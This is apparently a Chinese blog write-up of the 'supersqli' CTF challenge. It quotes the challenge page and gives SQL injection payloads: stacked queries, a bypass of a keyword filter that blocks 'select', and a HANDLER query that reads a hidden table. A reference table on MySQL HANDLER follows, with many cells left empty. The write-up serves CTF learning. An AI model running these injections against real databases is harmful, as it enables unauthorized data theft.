作者:[局外人]
分类:[技术分析]
标签:CTF SHOW
刷题
新手
阅读时长:约 [2] 分钟
引言(前言)
日常CTF 做题记录,日常做题分享,希望能积累更多的知识!!!
攻防世界supersqli
1.1 题目及分析
<html>
<head><meta charset="UTF-8"><title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">姿势: <input type="text" name="inject" value="1"><input type="submit">
</form>
<pre>
</pre>
</body>
</html>
- 题目分析
- 此题主要是考察SQL相关流程和方法。
1.2 思路
- SQL的相关流程
- 1.判断类型是字符形还是数字型
- 通常判断是否是字符型
- 这里就在尾部加一个单引号来形成封闭的字符串查询
?inject=1'
- 这样页面就会报错
- 如果是
?inject=1'--+
- 这样页面就会正常,因为
--+
是用于注释后面的SQL语句
- 2.判断字段数,也就是这个表有几列
?inject=1'order by 1 --+
这里从的1
开始慢慢加,直到报错,就能知道有几列了
- 因为报错的时候,证明没有那一列
- 通常判断列数是为了有助于联合查询,但是这里有一个过滤。
- 3.查询
?inject=1'union select databases,2 --+
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
- 发现过滤了
select
,采用后续的语句逐步查看信息,直接在后面接;来连续运行SQL语句一般来说是不常见的,但是这里可以
?inject=1';show databases --+
?inject=1';use supersqli; show tables; --+
?inject=1';use supersqli;show columns from
1919810931114514; --+
- 这里可以利用
handler
命令来读取信息,相关规则在后面的表中 - playload
?inject=1';use supersqli;handler `
1919810931114514`open as p;handler p read first;--+
,这里的数字需要用`包括起来,避免数据库被当成数字。
1.3 结果
大家多多尝试一下有没有更好的方法吧!
HANDLER
命令的总结
以下是MySQL中HANDLER
命令的总结,包含操作类型、语法、说明及示例:
操作类型 | 语法示例 | 说明 | 具体例子 |
打开表 |
| 建立与表的连接,后续操作基于此连接;可指定别名简化操作 |
|
读取数据-第一行 |
| 读取表中的第一行数据(通常基于主键或默认索引顺序) |
|
读取数据-最后一行 |
| 读取表中的最后一行数据(依赖表有主键或索引,否则无法使用) |
|
读取数据-下一行 |
| 读取当前行的下一行数据(需先执行 | 先执行 |
读取数据-上一行 |
| 读取当前行的上一行数据(依赖索引,需先定位当前行) | 先执行 |
读取数据-按索引 | `HANDLER table_name READ index_name [= | <= | >= |
关闭表 |
| 关闭表连接,释放资源(必须执行,避免资源泄露) |
|
适用场景 | - | 1. 频繁访问大型表的特定行(如按主键快速定位) 2. 简单行遍历(游标式访问) 3. 需避免 | 快速查询 |
注意事项 | - | 1. 不支持视图,主要支持InnoDB、MyISAM引擎 2. 不参与事务,可能读取未提交数据 3. 无索引时 4. 不支持 | 对视图执行 |
互动环节
- 各位大佬们是否有更优的实现方式?欢迎分享代码
- 评论区聊聊吧~